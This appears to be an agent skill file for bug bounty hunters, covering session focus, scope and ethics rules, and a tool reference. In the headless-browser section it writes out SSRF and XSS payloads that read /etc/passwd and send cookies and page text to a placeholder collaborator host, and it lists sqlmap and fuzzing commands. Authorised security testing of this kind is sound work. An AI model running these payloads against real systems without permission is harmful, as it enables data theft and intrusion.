Imported from Twinson333/hermes-skills (redteam-mindset/SKILL.md). Install upstream with npx skills add Twinson333/hermes-skills --skill redteam-mindset. Copyright stays with the author.

Red Team Mindset

Core Discipline

The Only Question That Matters

"Can an attacker do this RIGHT NOW, step-by-step, against a real user who has taken NO unusual actions — and does it cause real harm?"

Everything else is noise.

Daily Ritual Before Starting Any Session

1. Write your target today: "Today I test [feature/domain]"
2. Write your goal: "Today I try to achieve [CIA triad goal]"
3. Write your technique: "Today I use [1-2 bug classes]"
4. Lock this. No wandering until you've fully exhausted these two classes on this target.

Why Focus Beats Breadth

• A focused hunter finds 3 high-severity bugs per session
• A wandering hunter finds 12 low-severity informational findings per month
• Programs care about impact. One critical pays more than 20 mediums.

Self-Throttling — Anti-Pattern Recognition

Pattern: "I'll just check this other thing for a second"

Result: 4 hours later, you've tested 15 features superficially, found nothing, learned nothing. Fix: Write down the other thing in your notes. Finish your current focus. Then check it.

Pattern: "This must be the way in — let me keep pushing"

Result: 6 hours on one dead-end because you've invested time. Fix: If you haven't made progress in 90 minutes, pivot. Note the attempt. Move on.

Pattern: "This app is easy — I'll find something fast"

Result: Overconfidence → sloppy testing → missed bugs. Fix: Treat every target as if the previous hunter was as skilled as you are.

Pattern: "There must be a bug here — the response looks weird"

Result: Reporting unconfirmed findings as confirmed → duplicate/N/A → reputation hit. Fix: Follow the 7-Question Gate from triage-validation. No exceptions.

Pattern: Staying up until 3am chasing a rabbit hole

Result: Poor judgment, sloppy notes, forgotten to scope-check. Fix: Hard stop after 2-hour focused blocks. Take notes. Sleep. Come back fresh.

Ethical Boundaries (Non-Negotiable)

What You Are Permitted to Test

• Endpoints explicitly listed as in-scope (URL, CIDR range, mobile app bundle)
• With the minimum data access required to prove the bug
• Stopping as soon as you have proof — never exfiltrate real user data

What You Are NEVER Permitted to Do

• Test out-of-scope assets (even if they "look related")
• Store, share, or further access real PII, credentials, financial data encountered during testing
• Attempt to access or modify data beyond what is needed to prove the vulnerability
• Use findings for anything beyond responsible disclosure
• Sell or share vulnerabilities to third parties
• Test availability/DoS beyond what the program explicitly permits

Evidence Preservation Rules

• Save raw HTTP requests from Burp (right-click → "Save item")
• Screenshot impact with minimal real data visible — blur tokens, real emails, card numbers
• Never screenshot or store other users' private information beyond what proves the bug
• Delete local copies of real user data after submission

Scope Hygiene

Before Testing Any Asset

# Confirm domain ownership — is it really the target's?
whois target-asset.com          # Check registrant
dig CNAME target-asset.com      # Check if it points to target

# Confirm it's in scope
# Read the program rules AGAIN for this specific asset
# When in doubt — email the program and ask before testing

Out-of-Scope Signals

• Different domain registrar from the rest of the program
• Whois shows a third-party company (vendor, agency)
• CNAME points to a CDN or hosting provider not mentioned in scope
• Program rules say "*.target.com" but the subdomain is a third-party SaaS embed

Acquired Domains

Programs sometimes acquire companies without updating their bug bounty scope. If you find an acquisition:

1. Check if it's listed in scope
2. If not — do NOT test it
3. You can report the domain as "potentially in scope — please confirm" as an informational note

Toolchain Quick Reference

Recon

subfinder -d target.com | tee subs.txt
dnsx -l subs.txt -a -cname -o dns.txt
httpx -l subs.txt -tech-detect -status-code -title -o live.txt
katana -u https://target.com -c 10 -o crawl.txt
gau target.com | tee historical_urls.txt
waybackurls target.com >> historical_urls.txt
nuclei -l live.txt -t cves -t exposures -t misconfiguration -o nuclei_results.txt

JS Analysis

# Download all JS files from a live URL list
cat live.txt | while read url; do
  katana -u "$url" -jc | grep "\.js$"
done | sort -u | tee js_files.txt

# Extract secrets and endpoints
trufflehog filesystem --directory=/path/to/js/
cat js_files.txt | while read f; do curl -s "$f" | grep -Ei "api[_-]?key|Bearer [A-Za-z0-9]"; done

Headless Browser Targets (PDF / Screenshot Services)

Modern apps use Puppeteer, Playwright, or Chromium headless for PDF generation and screenshot APIs — NOT PhantomJS (deprecated since 2018).

When testing URL-to-PDF or screenshot endpoints:

<!-- Test for SSRF via headless browser: -->
<iframe src="file:///etc/passwd"></iframe>
<script>document.title=document.cookie</script>
<script>fetch('//YOUR.collab.com/?c='+document.cookie)</script>
<script>new Image().src='//YOUR.collab.com/'+btoa(document.body.innerText)</script>

For Puppeteer/Playwright-backed services:

• file:// protocol may work for local file reads
• http://localhost/ or http://127.0.0.1/ SSRF may work
• Cookie theft via document.cookie exfiltration is the primary impact vector

Exploitation

# SQL injection
sqlmap -r request.txt --batch --level=5 --risk=3

# Parameter fuzzing
ffuf -u "https://target.com/api/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt

# Directory brute force
feroxbuster -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

Session Tracking Template

Use this template at the start of every hunting session. Keep it in a text file alongside your Burp project.

## Session: [target-domain] — [YYYY-MM-DD]

**Engagement type:** [Bug Bounty / WAPT / Red Team / Internal Audit]
**Program:** [HackerOne / Bugcrowd / Intigriti / Private]
**Scope confirmed:** [Yes — see: link to scope page]
**Session goal:** [e.g., "Test all file upload features for XSS and RCE"]
**Bug classes today:** [e.g., "File upload bypass, stored XSS"]
**Phase:** [1=Recon / 2=Discovery / 3=Exploitation / 4=Chaining / 5=Reporting]

---

### Endpoints Tested

| Endpoint | Method | Bug Class Tested | Result | Notes |
|----------|--------|-----------------|--------|-------|
| /api/upload | POST | File upload bypass | 🔴 Blocked | .php5 also blocked |
| /api/upload | POST | MIME type bypass | ✅ PARTIAL | GIF89a + php accepted |
| /profile/bio | PUT | Stored XSS | ✅ CONFIRMED | Fires in admin panel |

---

### Findings This Session

| # | Title | Severity | Confirmed? | Next Step |
|---|-------|----------|-----------|-----------|
| 1 | Stored XSS in bio → admin panel | High | Yes | Write report |
| 2 | GIF89a bypass on upload | Medium | Needs RCE chain | Test code execution |

---

### Rabbit Holes (don't revisit without new info)
- Tried SSTI in template name field — all 20 probes returned literal string, not evaluated
- /api/v1/admin — 404 on all methods, not timing different on 403

---

### Next Session
- [ ] Complete stored XSS PoC with admin session steal
- [ ] Test if uploaded GIF can be rendered as PHP (find execution path)
- [ ] Test /api/v2/ equivalent of all above endpoints

Signs Your Session Is Going Sideways

When to Ask for Help

You should reach out (forums, Discord, mentor) when:

• You've confirmed an OOB callback but can't escalate to data exfil after 4 hours
• You're not sure if a finding is in scope
• You have a partial chain that needs one more bug class you're unfamiliar with
• You're getting consistent 403s on an endpoint that clearly exists

You should NOT ask for help with:

• "Is this a bug?" — Answer it yourself with the 7-Question Gate
• "What should I test?" — Answer it yourself with the session template
• "Can you solve this SSTI for me?" — Work through it, then share the chain when found

Context Preservation for Long Engagements

For a multi-day engagement, keep a persistent context file:

## [Target] — Running Context

**Started:** YYYY-MM-DD
**Scope:** [link]
**Program rules digest:** [2-3 key rules that affect testing]

### Confirmed Findings (ready to report)
1. Stored XSS in bio → admin panel (High)

### Promising Leads (not yet confirmed)
1. GIF89a bypass → need execution path

### Exhausted (do not revisit)
1. SSTI in template name — 20 probes, all literal
2. /api/v1/admin — consistent 404

### Deferred (good idea, out of scope today)
1. Check OAuth flow — plan for Session 3